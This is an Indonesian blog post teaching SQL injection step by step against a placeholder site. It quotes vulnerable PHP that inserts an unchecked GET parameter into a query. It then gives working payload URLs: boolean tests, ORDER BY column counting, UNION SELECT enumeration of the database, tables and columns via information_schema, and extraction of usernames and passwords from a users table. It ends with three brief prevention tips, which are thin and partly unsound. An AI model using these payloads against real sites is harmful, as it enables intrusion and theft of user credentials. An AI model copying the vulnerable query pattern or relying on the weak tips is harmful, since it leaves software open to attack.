Subscribe News Feed Subscribe Comments

How To SQL Injection

SQL Injection adalah salah satu metode yang dilakukan untuk mengeksploitasi kelemahan pada koding halaman web. Apa aja yg bisa diperoleh dari metode ini? Buaannnnyaakkk, misal menampilkan username + password user/member dari suatu situs, insert data pada database, n dll. OK, langsung kita praktekan saja

1. Cek kelemahan web
Kalo yg pernah/sering bikin web, pasti tau beda antara METHOD GET n POST. Method GET akan menampilkan parameter inputan pada URL di address bar. Hal ini kadang yg menjadikan ktia dapat mengetahui isi dari parameter yang di pass ke web serverna. Misal :

http://www.target.com/apaajah.php?news=32

Dari URL web tsb kita bisa liat kalo parameter news akan di pass ke web server dgn nilai 32. Jika pada koding halaman apaajah.php terdapat Query SQL seperti ini :

$news = $_GET['news'];
$hasil = mysql_query("SELECT nama_field FROM nama_tabel WHERE news_id = $news ");

Maka akan dipastikan kalo hasil dari query tersebut akan menampilkan field dgn kondisi news_id = 32, jika news_id yg dicari tidak ada, maka akan menghasilkan error. Error ini lah yang menjadi tanda kalo tidak adana pengecekan terhadap nilai parameter yang salah atau invalid. Kalo kita beginikan pada URL gimana :

http://www.target.com/apaajah.php?news=-1

Maka akan muncul error pada web yg bersangkutan bila tipe data news_id harus positif Tyus hubunganna ma SQL Injection gimana? Jika tidak ada pengecekan terhadap nilai paramater, maka kita bisa menambah/mengurangi nilai tsb. Misal :

http://www.target.com/apaajah.php?news=32 AND 1=0--

Ada tambahan string pada URL tsb, yaitu "AND 1=0--", Apa artina? string tsb adalah operator logika BOOLEAN, dimana Query SQL yang akan diproses pada koding web tsb akan berubah. Tadina hanya mencari news_id dengan nilai 32 saja, akan berubah menjadi "tampilkan nama_field dengan news_id = 32 DAN 1=0". Dalam logika, 1 TIDAK SAMA DENGAN 0, maka 1=0 bernilai FALSE (syntax -- akan mengakhiri Query SQL walaupun masih ada Query SQL dibelakangna). Hasil dari query SQL tsb akan tidak menampilkan apa2, karena kondisi bernilai FALSE. Bila hal ini terjadi maka halaman apaajah.php pada web tsb BERPOTENSI untuk dilancarkan serangan SQL Inejction

2. Mencari jumlah kolom/field pada tabel
Tabel pada database mempunyai jumlah kolom/field yg bebeda/sama. Misal kita ingin menampilkan 8 buah field pada tabel yang hanya memiliki 7 buah field saja, maka Query SQL yg diproses akan menghasilkan eror, karena jumlah kolom/field tidak cocok atau NOT MATCH. Bagaimana kita mencari jumlah kolom/field pada tabel tsb? Yaitu dengan memakai syntax SQL ORDER BY. Misal :

http://www.target.com/apaajah.php?news=32 ORDER BY 3--

Syntax SQL yg ditambahkan pada URL tsb akan menampilkan nomor kolom ke 3 pada Query SQL yg dijalankan. Selama jumlah kolom/field yg kita masukkan pada ORDER BY masih kurang atau sama dengan jumlah kolom/field pada database maka TIDAK akan menghasilkan eror. Bila terjadi eror, maka dapat kita tarik kesimpulan kalo jumlah kolom/field pada database web tsb kurang dari nilai ORDER BY yg kita masukkan, misal

http://www.target.com/apaajah.php?news=32 ORDER BY 11--

Akan menghasilkan eror bahwa jumlah kolom/field tidak cocok, maka jumlah kolom/field pada database web KURANG DARI 11 (entah itu 10, 9 ,,,,).. Cobalah memasukkan nilai kurang dari 11 secara berurutan, 10, 9 , 8, ... hingga tidak timbul eror.

3. Menampilkan kolom/field yang bisa dpakai untuk SQL Injection
Misal pada ORDER BY 10 kita tidak mendapatkan eror, maka selanjutna kita akan mencari nomor kolom/filed keberapa yg dapat kita sisipkan Query SQL Injection. Contoh :

http://www.target.com/apaajah.php?news=-1 union select 1,2,3,4,5,6,7,8,9,10--

Perhatikan parameter news diubah nilaina menjadi -1, karena kita akan menggunakan Query SQL injection kita (-1 tidak terpadat pada news_id). Sedangkan UNION SELECT akan memproses data yg kita inginkan berdasarkan jumlah kolom yg kita masukkan, dalam hal ini kita mengecek nomor kolom dari 1 sampai 10.
Bila tampil hasil pada web, maka nomor kolom tersebut yg bisa kita pakai untuk langkah selanjutna

4. Menampilkan informasi/data
Bila hasil yang kita dapat misalkan 2, maka pada nomor kolom 2 bisa kita masukkan syntax/fungsi SQL kedalam URL tsb, contoh :

http://www.target.com/apaajah.php?news=-1 union select 1,database(),3,4,5,6,7,8,9,10--

Query SQL tersebut akan menampilkan nama database yang sedang terkoneksi. Fungsi SQL lain yg bisa dipakai diantarana :

* version(): current mysql version
* database(): current database where user is connected
* user(): connected to the database
* system_user(): obvious
* session_user()
* current_user()
* last_insert_id()
* connection_id()
* etc.

5. Menampilkan nama2 tabel pada database
Dengan menggunakan Query SQL information_schema.tables bisa kita dapatkan nama2 tabel yg ada di database web tsb, contoh :

http://www.target.com/apaajah.php?news=-1 union select 1,table_name,3,4,5,6,7,8,9,10 from information_schema.tables--

Maka kita akan dapatkan nama2 tabel

6. Menampilkan nama2 kolom pada tabel
Query SQL yg digunakan adalah information_schema.columns, misal kita pilih tabel users yg kita dapatkan pada hasil diatas :

http://www.target.com/apaajah.php?news=-1 union select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns where table_name=users--

7. Menampilkan data dari tabel
Dari hasil diatas, dapat kita explorasi lebih lanjut untuk mengetahui username + password pada tabel users, contoh :

http://www.target.com/apaajah.php?news=-1 union select 1,concat(username,password),3,4,5,6,7,8,9,10 from users--

Maka kita akan dapatkan data username + password dari semua user



Tips untuk mencegah SQL Injection
1. Selalu gunakan pengecekan terhadap parameter inputan
2. Gunakan fungsi regex pada koding web untuk menghilangkan karakter/simbol khusus dari
nilai parameter inputan
3. Kalo bisa hilangkan show error mysql pada konfigurasi PHP

sumber : http://community.gunadarma.ac.id/blog/view/id_82/title_howto-sql-injection/

0 komentar:

Posting Komentar

 
Lakune Ilmu Kudu Ketemu | TNB